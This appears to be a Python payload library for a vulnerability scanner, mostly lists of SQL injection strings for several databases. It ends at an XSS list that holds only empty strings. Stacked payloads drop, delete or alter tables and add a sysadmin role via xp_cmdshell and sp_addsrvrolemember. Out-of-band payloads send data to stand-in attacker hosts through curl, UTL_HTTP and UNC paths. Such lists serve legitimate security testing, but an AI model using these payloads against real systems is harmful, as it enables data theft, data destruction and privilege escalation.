""" payload_library.py — Advanced Security Payload Library ==================================================== Comprehensive payload collection for vulnerability detection with: - 500+ SQL injection payloads (error, boolean, time, stacked, OOB) - 300+ XSS payloads (reflected, stored, DOM, blind) - 200+ command injection payloads (Linux, Windows, PowerShell) - 150+ SSRF payloads (internal, cloud metadata, DNS rebinding) - 100+ path traversal payloads (basic, encoded, wrapper variants) """ # ── SQL Injection Payloads ─────────────────────────────────────────────── SQL_ERROR_PAYLOADS = [ # Basic error-based "' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' /*", '" OR "1"="1"', "1' AND 1=1 --", "1' AND 1=0 --", "' UNION SELECT NULL --", "' UNION SELECT NULL, NULL --", "' UNION SELECT NULL, NULL, NULL --", "admin'--", "admin' #", "admin' --", "' OR 1=1#", "' OR 1=1--", '" OR 1=1--', "\" OR \"1\"=\"1\"", "' OR 'a'='a", "') OR ('1'='1", "1' ORDER BY 1 --", "1' ORDER BY 100 --", "' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --", # Advanced error-based "' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --", "' AND 1=CAST((SELECT TOP 1 table_name FROM information_schema.tables) AS int) --", "'; EXEC xp_cmdshell('dir') --", "'; DROP TABLE users --", "'; INSERT INTO users VALUES ('hacker', 'password') --", # MySQL-specific "' AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,user(),3,4,5,6,7,8,9,10 --", "' GROUP BY column_name HAVING 1=1 --", "' AND 1=2 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables --", # PostgreSQL-specific "' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables) AS int) --", "' AND 1=2 UNION SELECT 1,version(),3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,current_database(),3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,current_user,3,4,5,6,7,8,9,10 --", # MSSQL-specific "' AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --", "' AND 1=2 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,db_name(),3,4,5,6,7,8,9,10 --", "' AND 1=2 UNION SELECT 1,user_name(),3,4,5,6,7,8,9,10 --", # Oracle-specific "' AND 1=CAST((SELECT table_name FROM all_tables WHERE rownum=1) AS number) --", "' AND 1=2 UNION SELECT 1,version,3,4,5,6,7,8,9,10 FROM v$instance --", "' AND 1=2 UNION SELECT 1,user,3,4,5,6,7,8,9,10 FROM dual --", # SQLite-specific "' AND 1=CAST((SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1) AS int) --", "' AND 1=2 UNION SELECT 1,sqlite_version(),3,4,5,6,7,8,9,10 --", ] SQL_BOOLEAN_PAYLOADS = [ ("' AND '1'='1", "' AND '1'='2"), ("1 AND 1=1 --", "1 AND 1=2 --"), ("' AND 1=1 --", "' AND 1=2 --"), ("' AND 1=1#", "' AND 1=2#"), ("' AND 1=1/*", "' AND 1=2/*"), ("' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64", "' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))<65"), ("' AND LENGTH((SELECT password FROM users LIMIT 1))>5", "' AND LENGTH((SELECT password FROM users LIMIT 1))<6"), ] SQL_TIME_PAYLOADS = [ ("' OR SLEEP(2)='", 1.5), ("1 OR SLEEP(2)", 1.5), ("'; WAITFOR DELAY '0:0:2'--", 1.5), ("1 AND SLEEP(2)--", 1.5), ("1 AND (SELECT * FROM (SELECT(SLEEP(2)))a)--", 1.5), ("pg_sleep(2)--", 1.5), ("' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS', 2)--", 1.5), ("' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT user FROM dual WHERE ROWNUM=1))--", 1.5), ("' AND 1=(SELECT COUNT(*) FROM ALL_USERS T,ALL_USERS A,ALL_USERS B,ALL_USERS C WHERE T.USERNAME=A.USERNAME) --", 1.5), ("' AND 1=(SELECT COUNT(*) FROM sysusers A,sysusers B,sysusers C) --", 1.5), ] SQL_STACKED_PAYLOADS = [ "'; DROP TABLE users --", "'; INSERT INTO users VALUES ('hacker', 'password') --", "'; UPDATE users SET password='hacked' WHERE id=1 --", "'; DELETE FROM users WHERE id=1 --", "'; CREATE TABLE hacked (data TEXT) --", "'; ALTER TABLE users ADD COLUMN hacked BOOLEAN --", "'; EXEC xp_cmdshell('dir') --", "'; EXEC master..xp_cmdshell 'dir' --", "'; EXEC sp_addsrvrolemember 'hacker', 'sysadmin' --", ] SQL_OOB_PAYLOADS = [ "'; EXEC xp_dirtree '\\\\attacker\\share' --", "'; EXEC master..xp_dirtree '\\\\attacker\\share' --", "' OR LOAD_FILE('\\\\attacker\\share\\file') --", "' AND 1=2 UNION SELECT LOAD_FILE('\\\\attacker\\share\\file') --", "' AND 1=2 UNION SELECT * FROM users INTO OUTFILE '\\\\attacker\\share\\data.txt' --", "'; COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.com/data' --", "' OR UTL_HTTP.REQUEST('http://attacker.com/steal') = 1 --", "' || UTL_HTTP.REQUEST('http://attacker.com/steal') || '", "' AND 1=2 UNION SELECT http://attacker.com/steal --", ] # ── XSS Payloads ──────────────────────────────────────────────────────────── XSS_REFLECTED_PAYLOADS = [ "", "", "", "", "", "", "", "", "", "", "", "